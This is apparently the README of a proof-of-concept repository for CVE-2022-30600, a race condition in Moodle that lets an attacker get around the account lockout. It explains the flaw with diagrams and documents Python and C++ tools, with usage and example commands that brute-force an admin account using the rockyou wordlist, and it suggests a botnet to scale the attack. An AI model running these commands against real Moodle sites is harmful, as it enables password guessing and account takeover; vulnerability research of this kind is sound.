
Ein Proof-of-Concept für CVE-2022-30600
Dieses Repository enthält 2 Implementierungen für einen Proof of Concept, der CVE-2022-30600 ausnutzt.
CVE-2022-30600 ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, die Kontosperrschwelle in der Moodle-Webapp zu umgehen.
Wie im folgenden Eintrag in der NVD-Datenbank https://nvd.nist.gov/vuln/detail/CVE-2022-30600 beschrieben, sind die unten aufgeführten Versionen bekanntermaßen anfällig für diesen Exploit.
3.9 - 3.9.13
3.10 - 3.10.10
3.11 - 3.11.6
Wie im Commit, der zum Patchen dieser Schwachstelle verwendet wurde, beschrieben, liegt das Problem in der Logik, die zum Zugriff auf und zum Inkrementieren des Werts login_failed_count in der Datenbank verwendet wird.
Wenn mehr als eine gleichzeitige Anmeldeanfrage auftritt, kann die Moodle-Webapp den Anmeldewert in der Anwendung möglicherweise nicht korrekt überprüfen und aktualisieren. Dies führt dazu, dass 2 oder mehr fehlgeschlagene Anmeldeversuche nur als 1 fehlgeschlagener Anmeldeversuch gezählt werden.
Zum besseren Verständnis zeigt das folgende Diagramm eine allgemeine Aufschlüsselung einer fehlgeschlagenen Anmeldeanfrage aus der Perspektive des Clients, der Webapp und der Datenbank.
sequenceDiagram
participant C as Client
participant W as Webapp
participant D as Database
C->>W: Login Request
W->>D: Requests failed_login_attempt
D->>W: failed_login_attempt = 0
W->>W: local failed_login_attempt = 0
W->>W: local failed_login_attempt = 1
W->>D: failed_login_attempt = 1
W->>C: Login FailedDas Ergebnis ist, dass der Wert failed_login_attempt in der Datenbank korrekt ist und nachfolgende Anmeldeversuche den Wert korrekt aktualisieren.
Wenn ein Angreifer eine Reihe gleichzeitiger Anmeldeanfragen sendet, tritt das folgende Problem auf.
sequenceDiagram
participant C as Client
participant W as Webapp
participant D as Database
C->>W: Login Request (session 1)
C->>W: Login Request (session 2)
W->>D: Requests failed_login_attempt (session 1)
W->>D: Requests failed_login_attempt (session 2)
D->>W: failed_login_attempt = 0 (session 1)
D->>W: failed_login_attempt = 0 (session 2)
W->>W: local failed_login_attempt = 0 (session 1)
W->>W: local failed_login_attempt = 0 (session 2)
W->>W: local failed_login_attempt = 1 (session 1)
W->>W: local failed_login_attempt = 1 (session 2)
W->>D: failed_login_attempt = 1 (session 1)
W->>D: failed_login_attempt = 1 (session 2)
W->>C: Login Failed (session 1)
W->>C: Login Failed (session 2)Das Ergebnis dieser Interaktion ist, dass der Datenbankwert failed_login_attempt trotz zweier fehlgeschlagener Anmeldeanfragen nur um 1 erhöht wird. Dies kann auf Hunderte von Anfragen skaliert werden, wobei die Grenzen durch die Anzahl der gleichzeitigen Anfragen, die der Client stellen kann, und die Anzahl der Anfragen, die der Webserver gleichzeitig verwalten kann, gesetzt werden.
Darüber hinaus kann der Angreifer, wenn er Zugriff auf mehrere Clients (wie ein Botnetz) hat und in der Lage ist, den Zeitpunkt dieser Anfragen zu synchronisieren, die Einschränkungen durch die Verwendung eines einzelnen Clients überwinden und den Angriff schwieriger zu entschärfen machen.
poc.py ist die Python3-Implementierung dieses Angriffs. Es verwendet Threads, um die gleichzeitigen Anfragen durchzuführen. Obwohl dieser Proof of Concept funktioniert, beeinträchtigt die in Python3 vorhandene Global Interpreter Lock den Vorteil der Verwendung mehrerer Threads unter diesen Umständen. Ich empfehle dringend die Verwendung der C++-Implementierung, da diese besser funktioniert, wenn der Angriff von einem einzelnen Client aus durchgeführt wird.
poc.py [-h] -u USERNAME -url TARGET -w WORDLIST -t THREADS [-a ATTEMPTS] [-d DELAY]
Optionen:
-h, --help
zeigt diese Hilfemeldung an
-u USERNAME, --username USERNAME
Der Benutzername des angegriffenen Kontos
-url TARGET, --target TARGET
Basis-URL der angegriffenen Moodle-Webapp
-w WORDLIST, --wordlist WORDLIST
Der Pfad zur verwendeten Wortlistendatei
-t THREADS, --threads THREADS
Die Anzahl der Threads, die für jeden Versuch erstellt werden
-a ATTEMPTS, --attempts ATTEMPTS
Die Anzahl der Versuche, die Sie durchführen möchten. Der Standardwert ist 1
-d DELAY, --delay DELAY
Dies ist die Anzahl der Sekunden zwischen den einzelnen Versuchen. Der Standardwert beträgt 2
python3 poc.py -u admin -url https://moodle/ -w /usr/share/wordlists/rockyou.txt -t 15 -a 8
Ziel : https://moodle/
Benutzername des Kontos : admin
Wortliste : /usr/share/wordlists/rockyou.txt
Threads : In jedem Versuch werden 15 Anmeldeanfragen gestellt
Versuche : Der Angriff wird 8 Mal wiederholt
In diesem Beispiel werden insgesamt 120 (8 * 15) Anmeldeanfragen gestellt. Es wird eine Verzögerung von 2 Sekunden zwischen den einzelnen Versuchen geben.
poc.cpp ist die C++-Implementierung des Angriffs, die die Curl-Bibliothek zur Durchführung des Angriffs verwendet. Daher benötigt sie einige Compiler-Flags, damit die Anwendung kompiliert werden kann. Insgesamt funktioniert diese Implementierung besser als die Python3-Version, da Threads alle Kerne des Client-Geräts nutzen können, was in kürzerer Zeit mehr gleichzeitige Verbindungen ermöglicht. Dies bedeutet, dass der Exploit konsistenter funktioniert.
g++ poc.cpp -o poc -lcurl
Verwendung:
poc [OPTION...]
-a, --attempts
Die Anzahl der Male, die der Angriff durchgeführt wird.
-t, --threads
Die Anzahl der Threads, die in jedem Versuch verwendet werden.
-n, --username
Der Benutzer des Kontos, das Sie angreifen
-u, --URL
Basis-URL der Moodle-Webapp
-d, --delay
Die Zeitverzögerung zwischen den Versuchen. Standardwert ist 5
-v, --version
Zeigt die Version an
-h, --help
Zeigt die Hilfemeldung an
-w, --wordlist arg
Wortliste der Passwörter.
./poc -w /usr/share/wordlists/rockyou.txt -u https://moodle/ -n admin -a 3 -t 5 -d 2
Wortliste : /usr/share/wordlists/rockyou.txt
URL : https://moodle/
Benutzername des Kontos : admin
Versuche : 3 Versuche werden durchgeführt
Threads : In jedem Versuch werden 5 Threads verwendet
Verzögerung : Es wird eine Verzögerung von 2 Sekunden zwischen den einzelnen Versuchen geben
Um diese Skripte zu entwickeln, zu testen und zu debuggen, habe ich eine virtuelle Maschine erstellt. Diese virtuelle Maschine verwendete die folgende Software und Versionen.
Moodle 3.9.0 PHP 7.2.34 MySQL 8.0.30 Ubuntu 5.15.0-41-generic Apache 2.4.52
Ich befürworte nicht die Verwendung meines Quellcodes für illegale Aktivitäten.